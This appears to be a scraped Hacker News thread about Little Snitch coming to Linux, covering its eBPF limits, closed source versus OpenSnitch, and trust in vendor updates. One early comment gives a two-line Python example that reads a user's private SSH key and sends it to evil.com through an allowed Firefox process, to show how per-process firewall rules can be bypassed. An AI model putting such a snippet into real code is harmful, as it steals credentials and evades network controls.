[0]: https://en.wikipedia.org/wiki/ZoneAlarm

[1]: https://d2nwkt1g6n1fev.cloudfront.net/helpmax/wp-content/upl...

Say I run a script `suspicious.py' and I deny this script from making any network requests. I also have firefox which is allowed to make any HTTPS requests. If suspicious.py does something like:

   key = (Path.home() / '.ssh' / 'id_rsa').read_text()
   subprocess.Popen(['firefox', f'https://evil.com/upload/{key}'])

I wonder if the decision of Little Snitch to make the Linux version free forever was also informed by this "no way to make money selling tools on Linux" wisdom or if there was another motivation. It seems that if any tool has chances of making decent money on Linux, a product like Little Snitch, which is already well established, with working payment infrastructure would be a good candidate.

> Error: the BPF_PROG_LOAD syscall returned Argument list too long (os error 7).

> littlesnitch.service: Consumed 3min 38.832s CPU time, 13.7G memory peak.

Shameless plug: for anyone who wants something fully open source and terminal-based, I maintain RustNet (https://github.com/domcyrus/rustnet). It's a bit different because it's a TUI for real-time connection monitoring with deep packet inspection, not a firewall. No blocking/rules, but it's cross-platform (Linux/macOS/Windows), the entire codebase is open, and it sandboxes itself after init via Landlock with capability dropping.

https://github.com/hanselime/paqet

Recently I was wondering how you really have to trust something like little snitch given its a full kernel extension effectively able to MITM your whole network stack.

So I went digging (and asked some agents to deep research), and I couldn't find much interesting about the company or its leadership at all.

All a long way to say, anyone know anything about this company?

I thought it would be easier to do DPI on Linux than macOS. No???

Hopefully Apple makes the necessary frameworks available on iOS in general. Not only for supervised devices.

Anything new to get much better performance from low-spec machines that is idiot-proof is a game-changer.

https://news.ycombinator.com/item?id=35363343

> Little Snitch for Linux is not a security tool.

Maybe not?

> Its focus is privacy:

Or maybe yes?

[0] https://help.comodo.com/uploads/Comodo%20Internet%20Security...

If anyone from obdev is reading, please give us a way to pay for it, even if it stays free :), I'd love to support development and would happily pay something between the price of Little Snitch and Little Snitch Mini.

Anyway, thanks a lot!

Did not know about LittleSnitch, will definitely check it out.

[0] https://watch.ly/

[1] https://app.watch.ly/status/

https://obdev.at/blog/little-snitch-for-linux/

The core issue is simple and uncomfortable: through automatic updates, a vendor can run any code, with any privileges, on your machine, at any time.

-----

If the author is serious about this, then they should make their own program completely open source, and make builds bit-for-bit reproducible.

For all I know, the proprietary Little Snitch daemon, or even the binaries they're distributing for the open source components, contain backdoors that can be remotely activated to run any code, with any privileges, on your machine, at any time.

Congrats to Objective Development for expanding their well-loved tool to a new platform. You guys rock.

I know everyone today is used to upgrading every 5 seconds, but some of us are stuck on old software. For example, my Linux machine keeps rebooting and sucks up power in suspend mode because of buggy drivers in 6.12+, so I'm stuck on 6.8. (which is extra annoying because I bought this laptop for its Linux hardware support...)

Isn't MacOS just *nix under the hood? Genuinely curious about this difference.

Is there a userland component that's using something like iptables? (Can iptables block traffic originating from/destined to a specific process nowadays?)

Worth noting that it is closed source. Would be worth contributing patches to OpenSnitch to bring it up to parity with Little Snitch.

https://github.com/evilsocket/opensnitch

Why?

https://safing.io/

What would be the right tool to harden in a similar way to little snitch on mac? Meaning intercepting any connection and whitelisting them reliably.

Anyway, this one looks great. I hope Linux distros will incorporate this or similar into the network widgets.

> You can find Little Snitch for Linux here. It is free, and it will stay that way.

Don't worry, the authors know that there's no point in charging Linux users. Unlike Mac users.

So you might as well make it $0 and the (Linux) crowd goes wild that they don't need to pay a cent.

However...

> I researched a bit, found OpenSnitch, several command line tools, and various security systems built for servers. None of these gave me what I wanted: see which process is making which connections, and in the best case deny with a single click.

OpenSnitch is open source. You don't need to trust it as you can see the code yourself. Little Snitch on the other hand, is completely closed source.

Do you still trust them not to do self-reporting or phoning home, even though it is $0 and closed source?

[0] https://obdev.at/blog/little-snitch-for-linux/

"Little Snitch for Linux is built for privacy, not security, and that distinction matters. The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name. And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably. That's not an option here."

Is this a limitation of the eBPF implementation? Pardon my ignorance, I'm genuinely curious about this.

  > The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name.  
  > And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably.  
  > That's not an option here.
  > 
  > Source: https://web.archive.org/web/20260409002901/https://obdev.at/products/littlesnitch-linux/index.html

Have you ever checked Calico or Cilium, or at least, Oryx?